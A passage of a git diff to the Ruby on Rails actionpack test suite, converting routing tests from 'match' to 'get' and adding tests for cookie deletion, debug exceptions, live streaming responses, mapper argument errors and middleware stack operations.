-end
-
-class NamedRoutesControllerTest < ActionController::TestCase
-  tests ContentController
-
-  def test_should_be_able_to_use_named_routes_before_a_request_is_done
-    with_routing do |set|
-      set.draw { resources :contents }
-      assert_equal 'http://test.host/contents/new', new_content_url
-      assert_equal 'http://test.host/contents/1', content_url(:id => 1)
-    end
-  end
-end
diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb
index 7b734ff0fb..6c2311e7a5 100644
--- a/actionpack/test/controller/url_for_integration_test.rb
+++ b/actionpack/test/controller/url_for_integration_test.rb
@@ -3,12 +3,6 @@ require 'abstract_unit'
 require 'controller/fake_controllers'
 require 'active_support/core_ext/object/with_options'
 
-module RoutingTestHelpers
-  def url_for(set, options, recall = nil)
-    set.send(:url_for, options.merge(:only_path => true, :_path_segments => recall))
-  end
-end
-
 module ActionPack
   class URLForIntegrationTest < ActiveSupport::TestCase
     include RoutingTestHelpers
@@ -24,7 +18,7 @@ module ActionPack
         root :to => 'users#index'
       end
 
-      match '/blog(/:year(/:month(/:day)))' => 'posts#show_date',
+      get '/blog(/:year(/:month(/:day)))' => 'posts#show_date',
         :constraints => {
           :year => /(19|20)\d\d/,
           :month => /[01]?\d/,
@@ -33,7 +27,7 @@ module ActionPack
         :day => nil,
         :month => nil
 
-      match 'archive/:year', :controller => 'archive', :action => 'index',
+      get 'archive/:year', :controller => 'archive', :action => 'index',
         :defaults => { :year => nil },
         :constraints => { :year => /\d{4}/ },
         :as => "blog"
@@ -41,29 +35,29 @@ module ActionPack
       resources :people
       #match 'legacy/people' => "people#index", :legacy => "true"
 
-      match 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol
-      match 'id_default(/:id)' => "foo#id_default", :id => 1
+      get 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol
+      get 'id_default(/:id)' => "foo#id_default", :id => 1
       match 'get_or_post' => "foo#get_or_post", :via => [:get, :post]
-      match 'optional/:optional' => "posts#index"
-      match 'projects/:project_id' => "project#index", :as => "project"
-      match 'clients' => "projects#index"
+      get 'optional/:optional' => "posts#index"
+      get 'projects/:project_id' => "project#index", :as => "project"
+      get 'clients' => "projects#index"
 
-      match 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i
-      match 'extended/geocode/:postalcode' => 'geocode#show',:constraints => {
+      get 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i
+      get 'extended/geocode/:postalcode' => 'geocode#show',:constraints => {
         :postalcode => /# Postcode format
         \d{5} #Prefix
         (-\d{4})? #Suffix
         /x
       }, :as => "geocode"
 
-      match 'news(.:format)' => "news#index"
+      get 'news(.:format)' => "news#index"
 
-      match 'comment/:id(/:action)' => "comments#show"
-      match 'ws/:controller(/:action(/:id))', :ws => true
-      match 'account(/:action)' => "account#subscription"
-      match 'pages/:page_id/:controller(/:action(/:id))'
-      match ':controller/ping', :action => 'ping'
-      match ':controller(/:action(/:id))(.:format)'
+      get 'comment/:id(/:action)' => "comments#show"
+      get 'ws/:controller(/:action(/:id))', :ws => true
+      get 'account(/:action)' => "account#subscription"
+      get 'pages/:page_id/:controller(/:action(/:id))'
+      get ':controller/ping', :action => 'ping'
+      get ':controller(/:action(/:id))(.:format)'
       root :to => "news#index"
     }
 
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
index dc07e07cb9..d3fc7128e9 100644
--- a/actionpack/test/controller/url_for_test.rb
+++ b/actionpack/test/controller/url_for_test.rb
@@ -3,9 +3,9 @@ require 'abstract_unit'
 module AbstractController
   module Testing
 
-    class UrlForTests < ActionController::TestCase
+    class UrlForTest < ActionController::TestCase
       class W
-        include ActionDispatch::Routing::RouteSet.new.tap { |r| r.draw { match ':controller(/:action(/:id(.:format)))' } }.url_helpers
+        include ActionDispatch::Routing::RouteSet.new.tap { |r| r.draw { get ':controller(/:action(/:id(.:format)))' } }.url_helpers
       end
 
       def teardown
@@ -16,6 +16,10 @@ module AbstractController
         W.default_url_options[:host] = 'www.basecamphq.com'
       end
 
+      def add_port!
+        W.default_url_options[:port] = 3000
+      end
+
       def add_numeric_host!
         W.default_url_options[:host] = '127.0.0.1'
       end
@@ -71,6 +75,14 @@ module AbstractController
         )
       end
 
+      def test_subdomain_may_be_object
+        model = mock(:to_param => 'api')
+        add_host!
+        assert_equal('http://api.basecamphq.com/c/a/i',
+          W.new.url_for(:subdomain => model, :controller => 'c', :action => 'a', :id => 'i')
+        )
+      end
+
       def test_subdomain_may_be_removed
         add_host!
         assert_equal('http://basecamphq.com/c/a/i',
@@ -113,6 +125,14 @@ module AbstractController
         )
       end
 
+      def test_default_port
+        add_host!
+        add_port!
+        assert_equal('http://www.basecamphq.com:3000/c/a/i',
+          W.new.url_for(:controller => 'c', :action => 'a', :id => 'i')
+        )
+      end
+
       def test_protocol
         add_host!
         assert_equal('https://www.basecamphq.com/c/a/i',
@@ -190,8 +210,8 @@ module AbstractController
       def test_named_routes
         with_routing do |set|
           set.draw do
-            match 'this/is/verbose', :to => 'home#index', :as => :no_args
-            match 'home/sweet/home/:user', :to => 'home#index', :as => :home
+            get 'this/is/verbose', :to => 'home#index', :as => :no_args
+            get 'home/sweet/home/:user', :to => 'home#index', :as => :home
           end
 
           # We need to create a new class in order to install the new named route.
@@ -211,7 +231,7 @@ module AbstractController
       def test_relative_url_root_is_respected_for_named_routes
         with_routing do |set|
           set.draw do
-            match '/home/sweet/home/:user', :to => 'home#index', :as => :home
+            get '/home/sweet/home/:user', :to => 'home#index', :as => :home
           end
 
           kls = Class.new { include set.url_helpers }
@@ -225,8 +245,8 @@ module AbstractController
       def test_only_path
         with_routing do |set|
           set.draw do
-            match 'home/sweet/home/:user', :to => 'home#index', :as => :home
-            match ':controller/:action/:id'
+            get 'home/sweet/home/:user', :to => 'home#index', :as => :home
+            get ':controller/:action/:id'
           end
 
           # We need to create a new class in order to install the new named route.
@@ -293,8 +313,8 @@ module AbstractController
       def test_named_routes_with_nil_keys
         with_routing do |set|
           set.draw do
-            match 'posts.:format', :to => 'posts#index', :as => :posts
-            match '/', :to => 'posts#index', :as => :main
+            get 'posts.:format', :to => 'posts#index', :as => :posts
+            get '/', :to => 'posts#index', :as => :main
           end
 
           # We need to create a new class in order to install the new named route.
diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb
index f88903b10e..d9a1ae7d4f 100644
--- a/actionpack/test/controller/url_rewriter_test.rb
+++ b/actionpack/test/controller/url_rewriter_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'controller/fake_controllers'
 
-class UrlRewriterTests < ActionController::TestCase
+class UrlRewriterTests < ActiveSupport::TestCase
   class Rewriter
     def initialize(request)
       @options = {
@@ -21,7 +21,7 @@ class UrlRewriterTests < ActionController::TestCase
     @rewriter = Rewriter.new(@request) #.new(@request, @params)
     @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
       r.draw do
-        match ':controller(/:action(/:id))'
+        get ':controller(/:action(/:id))'
       end
     end
   end
diff --git a/actionpack/test/controller/view_paths_test.rb b/actionpack/test/controller/view_paths_test.rb
index f5ac886c20..40f6dc6f0f 100644
--- a/actionpack/test/controller/view_paths_test.rb
+++ b/actionpack/test/controller/view_paths_test.rb
@@ -3,7 +3,6 @@ require 'abstract_unit'
 class ViewLoadPathsTest < ActionController::TestCase
   class TestController < ActionController::Base
     def self.controller_path() "test" end
-    def rescue_action(e) raise end
 
     before_filter :add_view_path, :only => :hello_world_at_request_time
 
@@ -16,22 +15,17 @@ class ViewLoadPathsTest < ActionController::TestCase
       end
   end
 
-  class Test::SubController < ActionController::Base
-    layout 'test/sub'
-    def hello_world; render(:template => 'test/hello_world'); end
+  module Test
+    class SubController < ActionController::Base
+      layout 'test/sub'
+      def hello_world; render(:template => 'test/hello_world'); end
+    end
   end
 
   def setup
-    # TestController.view_paths = nil
-
     @request  = ActionController::TestRequest.new
     @response = ActionController::TestResponse.new
-
     @controller = TestController.new
-    # Following is needed in order to setup @controller.template object properly
-    @controller.send :assign_shortcuts, @request, @response
-    @controller.send :initialize_template_class, @response
-
     @paths = TestController.view_paths
   end
 
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
index ae8588cbb0..c0b9833603 100644
--- a/actionpack/test/controller/webservice_test.rb
+++ b/actionpack/test/controller/webservice_test.rb
@@ -18,8 +18,6 @@ class WebServiceTest < ActionDispatch::IntegrationTest
         s << "#{k}#{value}"
       end
     end
-
-    def rescue_action(e) raise end
   end
 
   def setup
@@ -256,7 +254,7 @@ class WebServiceTest < ActionDispatch::IntegrationTest
     def with_test_route_set
       with_routing do |set|
         set.draw do
-          match '/', :to => 'web_service_test/test#assign_parameters'
+          match '/', :to => 'web_service_test/test#assign_parameters', :via => :all
         end
         yield
       end
diff --git a/actionpack/test/dispatch/callbacks_test.rb b/actionpack/test/dispatch/callbacks_test.rb
index eed2eca2ab..f767b07e75 100644
--- a/actionpack/test/dispatch/callbacks_test.rb
+++ b/actionpack/test/dispatch/callbacks_test.rb
@@ -27,6 +27,12 @@ class DispatcherTest < ActiveSupport::TestCase
     dispatch
     assert_equal 4, Foo.a
     assert_equal 4, Foo.b
+
+    dispatch do |env|
+      raise "error"
+    end rescue nil
+    assert_equal 6, Foo.a
+    assert_equal 6, Foo.b
   end
 
   def test_to_prepare_and_cleanup_delegation
@@ -44,8 +50,9 @@ class DispatcherTest < ActiveSupport::TestCase
   private
 
     def dispatch(&block)
-      @dispatcher ||= ActionDispatch::Callbacks.new(block || DummyApp.new)
-      @dispatcher.call({'rack.input' => StringIO.new('')})
+      ActionDispatch::Callbacks.new(block || DummyApp.new).call(
+        {'rack.input' => StringIO.new('')}
+      )
     end
 
 end
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
index 49da448001..347b3b3b5a 100644
--- a/actionpack/test/dispatch/cookies_test.rb
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -38,6 +38,8 @@ class CookiesTest < ActionController::TestCase
       head :ok
     end
 
+    alias delete_cookie logout
+
     def delete_cookie_with_path
       cookies.delete("user_name", :path => '/beaten')
       head :ok
@@ -179,6 +181,18 @@ class CookiesTest < ActionController::TestCase
     assert_equal({"user_name" => "david"}, @response.cookies)
   end
 
+  def test_setting_the_same_value_to_cookie
+    request.cookies[:user_name] = 'david'
+    get :authenticate
+    assert response.cookies.empty?
+  end
+
+  def test_setting_the_same_value_to_permanent_cookie
+    request.cookies[:user_name] = 'Jamie'
+    get :set_permanent_cookie
+    assert_equal response.cookies, 'user_name' => 'Jamie'
+  end
+
   def test_setting_with_escapable_characters
     get :set_with_with_escapable_characters
     assert_cookie_header "that+%26+guy=foo+%26+bar+%3D%3E+baz; path=/"
@@ -210,8 +224,8 @@ class CookiesTest < ActionController::TestCase
     assert_equal({"user_name" => "david"}, @response.cookies)
   end
 
-  def test_setting_cookie_with_secure_in_development
-    Rails.env.stubs(:development?).returns(true)
+  def test_setting_cookie_with_secure_when_always_write_cookie_is_true
+    ActionDispatch::Cookies::CookieJar.any_instance.stubs(:always_write_cookie).returns(true)
     get :authenticate_with_secure
     assert_cookie_header "user_name=david; path=/; secure"
     assert_equal({"user_name" => "david"}, @response.cookies)
@@ -235,16 +249,37 @@ class CookiesTest < ActionController::TestCase
   end
 
   def test_expiring_cookie
+    request.cookies[:user_name] = 'Joe'
     get :logout
     assert_cookie_header "user_name=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
     assert_equal({"user_name" => nil}, @response.cookies)
   end
 
   def test_delete_cookie_with_path
+    request.cookies[:user_name] = 'Joe'
     get :delete_cookie_with_path
     assert_cookie_header "user_name=; path=/beaten; expires=Thu, 01-Jan-1970 00:00:00 GMT"
   end
 
+  def test_delete_unexisting_cookie
+    request.cookies.clear
+    get :delete_cookie
+    assert @response.cookies.empty?
+  end
+
+  def test_deleted_cookie_predicate
+    cookies[:user_name] = 'Joe'
+    cookies.delete("user_name")
+    assert cookies.deleted?("user_name")
+    assert_equal false, cookies.deleted?("another")
+  end
+
+  def test_deleted_cookie_predicate_with_mismatching_options
+    cookies[:user_name] = 'Joe'
+    cookies.delete("user_name", :path => "/path")
+    assert_equal false, cookies.deleted?("user_name", :path => "/different")
+  end
+
   def test_cookies_persist_throughout_request
     response = get :authenticate
     assert response.headers["Set-Cookie"] =~ /user_name=david/
@@ -273,6 +308,7 @@ class CookiesTest < ActionController::TestCase
   end
 
   def test_delete_and_set_cookie
+    request.cookies[:user_name] = 'Joe'
     get :delete_and_set_cookie
     assert_cookie_header "user_name=david; path=/; expires=Mon, 10-Oct-2005 05:00:00 GMT"
     assert_equal({"user_name" => "david"}, @response.cookies)
@@ -376,6 +412,7 @@ class CookiesTest < ActionController::TestCase
   end
 
   def test_deleting_cookie_with_all_domain_option
+    request.cookies[:user_name] = 'Joe'
     get :delete_cookie_with_domain
     assert_response :success
     assert_cookie_header "user_name=; domain=.nextangle.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
@@ -402,6 +439,7 @@ class CookiesTest < ActionController::TestCase
   end
 
   def test_deleting_cookie_with_all_domain_option_and_tld_length
+    request.cookies[:user_name] = 'Joe'
     get :delete_cookie_with_domain_and_tld
     assert_response :success
     assert_cookie_header "user_name=; domain=.nextangle.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
@@ -430,6 +468,7 @@ class CookiesTest < ActionController::TestCase
 
   def test_deletings_cookie_with_several_preset_domains_using_one_of_these_domains
     @request.host = "example2.com"
+    request.cookies[:user_name] = 'Joe'
     get :delete_cookie_with_domains
     assert_response :success
     assert_cookie_header "user_name=; domain=example2.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
@@ -437,19 +476,19 @@ class CookiesTest < ActionController::TestCase
 
   def test_deletings_cookie_with_several_preset_domains_using_other_domain
     @request.host = "other-domain.com"
+    request.cookies[:user_name] = 'Joe'
     get :delete_cookie_with_domains
     assert_response :success
     assert_cookie_header "user_name=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT"
   end
 
-
   def test_cookies_hash_is_indifferent_access
-      get :symbol_key
-      assert_equal "david", cookies[:user_name]
-      assert_equal "david", cookies['user_name']
-      get :string_key
-      assert_equal "dhh", cookies[:user_name]
-      assert_equal "dhh", cookies['user_name']
+    get :symbol_key
+    assert_equal "david", cookies[:user_name]
+    assert_equal "david", cookies['user_name']
+    get :string_key
+    assert_equal "dhh", cookies[:user_name]
+    assert_equal "dhh", cookies['user_name']
   end
 
 
@@ -565,99 +604,3 @@ class CookiesTest < ActionController::TestCase
       end
     end
 end
-
-class CookiesIntegrationTest < ActionDispatch::IntegrationTest
-  SessionKey = '_myapp_session'
-  SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33'
-
-  class TestController < ActionController::Base
-    def dont_set_cookies
-      head :ok
-    end
-
-    def set_cookies
-      cookies["that"] = "hello"
-      head :ok
-    end
-  end
-
-  def test_setting_cookies_raises_after_stream_back_to_client
-    with_test_route_set do
-      get '/set_cookies'
-      assert_raise(ActionDispatch::ClosedError) {
-        request.cookie_jar['alert'] = 'alert'
-        cookies['alert'] = 'alert'
-      }
-    end
-  end
-
-  def test_setting_cookies_raises_after_stream_back_to_client_even_without_cookies
-    with_test_route_set do
-      get '/dont_set_cookies'
-      assert_raise(ActionDispatch::ClosedError) {
-        request.cookie_jar['alert'] = 'alert'
-      }
-    end
-  end
-
-  def test_setting_permanent_cookies_raises_after_stream_back_to_client
-    with_test_route_set do
-      get '/set_cookies'
-      assert_raise(ActionDispatch::ClosedError) {
-        request.cookie_jar.permanent['alert'] = 'alert'
-        cookies['alert'] = 'alert'
-      }
-    end
-  end
-
-  def test_setting_permanent_cookies_raises_after_stream_back_to_client_even_without_cookies
-    with_test_route_set do
-      get '/dont_set_cookies'
-      assert_raise(ActionDispatch::ClosedError) {
-        request.cookie_jar.permanent['alert'] = 'alert'
-      }
-    end
-  end
-
-  def test_setting_signed_cookies_raises_after_stream_back_to_client
-    with_test_route_set do
-      get '/set_cookies'
-      assert_raise(ActionDispatch::ClosedError) {
-        request.cookie_jar.signed['alert'] = 'alert'
-        cookies['alert'] = 'alert'
-      }
-    end
-  end
-
-  def test_setting_signed_cookies_raises_after_stream_back_to_client_even_without_cookies
-    with_test_route_set do
-      get '/dont_set_cookies'
-      assert_raise(ActionDispatch::ClosedError) {
-        request.cookie_jar.signed['alert'] = 'alert'
-      }
-    end
-  end
-
-  private
-
-  # Overwrite get to send SessionSecret in env hash
-  def get(path, parameters = nil, env = {})
-    env["action_dispatch.secret_token"] ||= SessionSecret
-    super
-  end
-
-  def with_test_route_set
-    with_routing do |set|
-      set.draw do
-        match ':action', :to => CookiesIntegrationTest::TestController
-      end
-
-      @app = self.class.build_app(set) do |middleware|
-        middleware.use ActionDispatch::Cookies
-        middleware.delete "ActionDispatch::ShowExceptions"
-      end
-
-      yield
-    end
-  end
-end
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
new file mode 100644
index 0000000000..6ff651ad52
--- /dev/null
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -0,0 +1,163 @@
+require 'abstract_unit'
+
+class DebugExceptionsTest < ActionDispatch::IntegrationTest
+
+  class Boomer
+    attr_accessor :closed
+
+    def initialize(detailed  = false)
+      @detailed = detailed
+      @closed = false
+    end
+
+    def each
+    end
+
+    def close
+      @closed = true
+    end
+
+    def call(env)
+      env['action_dispatch.show_detailed_exceptions'] = @detailed
+      req = ActionDispatch::Request.new(env)
+      case req.path
+      when "/pass"
+        [404, { "X-Cascade" => "pass" }, self]
+      when "/not_found"
+        raise AbstractController::ActionNotFound
+      when "/runtime_error"
+        raise RuntimeError
+      when "/method_not_allowed"
+        raise ActionController::MethodNotAllowed
+      when "/not_implemented"
+        raise ActionController::NotImplemented
+      when "/unprocessable_entity"
+        raise ActionController::InvalidAuthenticityToken
+      when "/not_found_original_exception"
+        raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
+      when "/bad_request"
+        raise ActionController::BadRequest
+      else
+        raise "puke!"
+      end
+    end
+  end
+
+  ProductionApp  = ActionDispatch::DebugExceptions.new(Boomer.new(false))
+  DevelopmentApp = ActionDispatch::DebugExceptions.new(Boomer.new(true))
+
+  test 'skip diagnosis if not showing detailed exceptions' do
+    @app = ProductionApp
+    assert_raise RuntimeError do
+      get "/", {}, {'action_dispatch.show_exceptions' => true}
+    end
+  end
+
+  test 'skip diagnosis if not showing exceptions' do
+    @app = DevelopmentApp
+    assert_raise RuntimeError do
+      get "/", {}, {'action_dispatch.show_exceptions' => false}
+    end
+  end
+
+  test 'raise an exception on cascade pass' do
+    @app = ProductionApp
+    assert_raise ActionController::RoutingError do
+      get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+    end
+  end
+
+  test 'closes the response body on cascade pass' do
+    boomer = Boomer.new(false)
+    @app = ActionDispatch::DebugExceptions.new(boomer)
+    assert_raise ActionController::RoutingError do
+      get "/pass", {}, {'action_dispatch.show_exceptions' => true}
+    end
+    assert boomer.closed, "Expected to close the response body"
+  end
+
+  test "rescue with diagnostics message" do
+    @app = DevelopmentApp
+
+    get "/", {}, {'action_dispatch.show_exceptions' => true}
+    assert_response 500
+    assert_match(/puke/, body)
+
+    get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+    assert_response 404
+    assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+    get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+    assert_response 405
+    assert_match(/ActionController::MethodNotAllowed/, body)
+
+    get "/bad_request", {}, {'action_dispatch.show_exceptions' => true}
+    assert_response 400
+    assert_match(/ActionController::BadRequest/, body)
+  end
+
+  test "does not show filtered parameters" do
+    @app = DevelopmentApp
+
+    get "/", {"foo"=>"bar"}, {'action_dispatch.show_exceptions' => true,
+      'action_dispatch.parameter_filter' => [:foo]}
+    assert_response 500
+    assert_match("&quot;foo&quot;=&gt;&quot;[FILTERED]&quot;", body)
+  end
+
+  test "show registered original exception for wrapped exceptions" do
+    @app = DevelopmentApp
+
+    get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
+    assert_response 404
+    assert_match(/AbstractController::ActionNotFound/, body)
+  end
+
+  test "show the controller name in the diagnostics template when controller name is present" do
+    @app = DevelopmentApp
+    get("/runtime_error", {}, {
+      'action_dispatch.show_exceptions' => true,
+      'action_dispatch.request.parameters' => {
+        'action' => 'show',
+        'id' => 'unknown',
+        'controller' => 'featured_tile'
+      }
+    })
+    assert_response 500
+    assert_match(/RuntimeError\n    in FeaturedTileController/, body)
+  end
+
+  test "sets the HTTP charset parameter" do
+    @app = DevelopmentApp
+
+    get "/", {}, {'action_dispatch.show_exceptions' => true}
+    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+  end
+
+  test 'uses logger from env' do
+    @app = DevelopmentApp
+    output = StringIO.new
+    get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => Logger.new(output)}
+    assert_match(/puke/, output.rewind && output.read)
+  end
+
+  test 'uses backtrace cleaner from env' do
+    @app = DevelopmentApp
+    cleaner = stub(:clean => ['passed backtrace cleaner'])
+    get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.backtrace_cleaner' => cleaner}
+    assert_match(/passed backtrace cleaner/, body)
+  end
+
+  test 'logs exception backtrace when all lines silenced' do
+    output = StringIO.new
+    backtrace_cleaner = ActiveSupport::BacktraceCleaner.new
+    backtrace_cleaner.add_silencer { true }
+
+    env = {'action_dispatch.show_exceptions' => true,
+           'action_dispatch.logger' => Logger.new(output),
+           'action_dispatch.backtrace_cleaner' => backtrace_cleaner}
+
+    get "/", {}, env
+    assert_operator((output.rewind && output.read).lines.count, :>, 10)
+  end
+end
diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb
index ec6ba494dc..bc7cad8db5 100644
--- a/actionpack/test/dispatch/header_test.rb
+++ b/actionpack/test/dispatch/header_test.rb
@@ -13,4 +13,9 @@ class HeaderTest < ActiveSupport::TestCase
     assert_equal "text/plain", @headers["CONTENT_TYPE"]
     assert_equal "text/plain", @headers["HTTP_CONTENT_TYPE"]
   end
+
+  test "fetch" do
+    assert_equal "text/plain", @headers.fetch("content-type", nil)
+    assert_equal "not found", @headers.fetch('not-found', 'not found')
+  end
 end
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
new file mode 100644
index 0000000000..e16f23914b
--- /dev/null
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -0,0 +1,83 @@
+require 'abstract_unit'
+require 'active_support/concurrency/latch'
+
+module ActionController
+  module Live
+    class ResponseTest < ActiveSupport::TestCase
+      def setup
+        @response = Live::Response.new
+      end
+
+      def test_header_merge
+        header = @response.header.merge('Foo' => 'Bar')
+        assert_kind_of(ActionController::Live::Response::Header, header)
+        refute_equal header, @response.header
+      end
+
+      def test_initialize_with_default_headers
+        r = Class.new(Live::Response) do
+          def self.default_headers
+            { 'omg' => 'g' }
+          end
+        end
+
+        header = r.new.header
+        assert_kind_of(ActionController::Live::Response::Header, header)
+      end
+
+      def test_parallel
+        latch = ActiveSupport::Concurrency::Latch.new
+
+        t = Thread.new {
+          @response.stream.write 'foo'
+          latch.await
+          @response.stream.close
+        }
+
+        @response.each do |part|
+          assert_equal 'foo', part
+          latch.release
+        end
+        assert t.join
+      end
+
+      def test_setting_body_populates_buffer
+        @response.body = 'omg'
+        @response.close
+        assert_equal ['omg'], @response.body_parts
+      end
+
+      def test_cache_control_is_set
+        @response.stream.write 'omg'
+        assert_equal 'no-cache', @response.headers['Cache-Control']
+      end
+
+      def test_content_length_is_removed
+        @response.headers['Content-Length'] = "1234"
+        @response.stream.write 'omg'
+        assert_nil @response.headers['Content-Length']
+      end
+
+      def test_headers_cannot_be_written_after_write
+        @response.stream.write 'omg'
+
+        assert @response.headers.frozen?
+        e = assert_raises(ActionDispatch::IllegalStateError) do
+          @response.headers['Content-Length'] = "zomg"
+        end
+
+        assert_equal 'header already sent', e.message
+      end
+
+      def test_headers_cannot_be_written_after_close
+        @response.stream.close
+
+        assert @response.headers.frozen?
+        e = assert_raises(ActionDispatch::IllegalStateError) do
+          @response.headers['Content-Length'] = "zomg"
+        end
+        assert_equal 'header already sent', e.message
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb
index d3465589c1..58457b0c28 100644
--- a/actionpack/test/dispatch/mapper_test.rb
+++ b/actionpack/test/dispatch/mapper_test.rb
@@ -37,7 +37,7 @@ module ActionDispatch
       end
 
       def test_mapping_requirements
-        options = { :controller => 'foo', :action => 'bar' }
+        options = { :controller => 'foo', :action => 'bar', :via => :get }
         m = Mapper::Mapping.new FakeSet.new, {}, '/store/:name(*rest)', options
         _, _, requirements, _ = m.to_route
         assert_equal(/.+?/, requirements[:rest])
@@ -46,7 +46,7 @@ module ActionDispatch
       def test_map_slash
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
-        mapper.match '/', :to => 'posts#index', :as => :main
+        mapper.get '/', :to => 'posts#index', :as => :main
         assert_equal '/', fakeset.conditions.first[:path_info]
       end
 
@@ -55,14 +55,14 @@ module ActionDispatch
         mapper = Mapper.new fakeset
 
         # FIXME: is this a desired behavior?
-        mapper.match '/one/two/', :to => 'posts#index', :as => :main
+        mapper.get '/one/two/', :to => 'posts#index', :as => :main
         assert_equal '/one/two(.:format)', fakeset.conditions.first[:path_info]
       end
 
       def test_map_wildcard
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
-        mapper.match '/*path', :to => 'pages#show'
+        mapper.get '/*path', :to => 'pages#show'
         assert_equal '/*path(.:format)', fakeset.conditions.first[:path_info]
         assert_equal(/.+?/, fakeset.requirements.first[:path])
       end
@@ -70,7 +70,7 @@ module ActionDispatch
       def test_map_wildcard_with_other_element
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
-        mapper.match '/*path/foo/:bar', :to => 'pages#show'
+        mapper.get '/*path/foo/:bar', :to => 'pages#show'
         assert_equal '/*path/foo/:bar(.:format)', fakeset.conditions.first[:path_info]
         assert_nil fakeset.requirements.first[:path]
       end
@@ -78,7 +78,7 @@ module ActionDispatch
       def test_map_wildcard_with_multiple_wildcard
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
-        mapper.match '/*foo/*bar', :to => 'pages#show'
+        mapper.get '/*foo/*bar', :to => 'pages#show'
         assert_equal '/*foo/*bar(.:format)', fakeset.conditions.first[:path_info]
         assert_nil fakeset.requirements.first[:foo]
         assert_equal(/.+?/, fakeset.requirements.first[:bar])
@@ -87,7 +87,7 @@ module ActionDispatch
       def test_map_wildcard_with_format_false
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
-        mapper.match '/*path', :to => 'pages#show', :format => false
+        mapper.get '/*path', :to => 'pages#show', :format => false
         assert_equal '/*path', fakeset.conditions.first[:path_info]
         assert_nil fakeset.requirements.first[:path]
       end
@@ -95,9 +95,18 @@ module ActionDispatch
       def test_map_wildcard_with_format_true
         fakeset = FakeSet.new
         mapper = Mapper.new fakeset
-        mapper.match '/*path', :to => 'pages#show', :format => true
+        mapper.get '/*path', :to => 'pages#show', :format => true
         assert_equal '/*path.:format', fakeset.conditions.first[:path_info]
       end
+
+      def test_raising_helpful_error_on_invalid_arguments
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        app = lambda { |env| [200, {}, [""]] }
+        assert_raises ArgumentError do
+          mapper.mount app
+        end
+      end
     end
   end
 end
diff --git a/actionpack/test/dispatch/middleware_stack_test.rb b/actionpack/test/dispatch/middleware_stack_test.rb
index 831f3db3e2..948a690979 100644
--- a/actionpack/test/dispatch/middleware_stack_test.rb
+++ b/actionpack/test/dispatch/middleware_stack_test.rb
@@ -45,7 +45,7 @@ class MiddlewareStackTest < ActiveSupport::TestCase
     assert_equal BazMiddleware, @stack.last.klass
     assert_equal([true, {:foo => "bar"}], @stack.last.args)
   end
-  
+
   test "use should push middleware class with block arguments onto the stack" do
     proc = Proc.new {}
     assert_difference "@stack.size" do
@@ -54,7 +54,7 @@ class MiddlewareStackTest < ActiveSupport::TestCase
     assert_equal BlockMiddleware, @stack.last.klass
     assert_equal proc, @stack.last.block
   end
-  
+
   test "insert inserts middleware at the integer index" do
     @stack.insert(1, BazMiddleware)
     assert_equal BazMiddleware, @stack[1].klass
@@ -81,6 +81,17 @@ class MiddlewareStackTest < ActiveSupport::TestCase
     assert_equal BazMiddleware, @stack[0].klass
   end
 
+  test "swaps one middleware out for same middleware class" do
+    assert_equal FooMiddleware, @stack[0].klass
+    @stack.swap(FooMiddleware, FooMiddleware, Proc.new { |env| [500, {}, ['error!']] })
+    assert_equal FooMiddleware, @stack[0].klass
+  end
+
+  test "unshift adds a new middleware at the beginning of the stack" do
+    @stack.unshift :"MiddlewareStackTest::BazMiddleware"
+    assert_equal BazMiddleware, @stack.first.klass
+  end
+
   test "raise an error on invalid index" do
     assert_raise RuntimeError do
       @stack.insert("HiyaMiddleware", BazMiddleware)
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 08fe2127b9..ed012093a7 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -69,6 +69,18 @@ class MimeTypeTest < ActiveSupport::TestCase
     assert_equal expect, Mime::Type.parse(accept)
   end
 
+  test "parse single media range with q" do
+    accept = "text/html;q=0.9"
